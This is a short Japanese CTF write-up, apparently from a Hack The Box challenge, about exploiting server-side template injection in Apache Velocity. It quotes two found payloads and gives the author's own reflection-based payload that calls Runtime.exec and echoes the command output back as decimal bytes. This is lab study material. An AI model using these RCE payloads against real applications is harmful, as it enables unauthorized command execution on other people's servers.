これらの日々、HTB の問題を解いている中で、Velocity の SSTI についての問題が出ました。オンラインで見つけたペイロードを試してみた結果、異なる欠点があるか、基本的に使用できないことがわかりました。そのため、自分でエコーバックできるペイロードを作成したので、記録しておきます。
問題のソースコードが提供されており、明らかに ssti が含まれていることがわかります。
オンラインで見つけたペイロード 1:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
このペイロードは、反射を使用して runtime を取得していますが、エコーバックがありません。このターゲットマシンでは、ネットワークに接続されていない環境では使用できません。
ペイロード 2:
これは hacktrick が提供しているもので、理論的にはエコーバックが含まれています。
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
$class と inspect は非常に制限があり、この問題では完全に rce できません。
ペイロード 1 を基に、反射を使用してエコーバックを実現します:
#set($f="e".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
#set($a=$f.waitFor())
#set($out=$f.getInputStream())
#set($str="e".getClass().forName("java.lang.String"))
$str.newInstance().valueOf($out.read())
$str.newInstance().valueOf($out.read())
このペイロードで表示されるエコーバックは、decimal で表示されます。自分で cyberchef で変換するか、ループを使用して chr に変換するステートメントを追加することができます。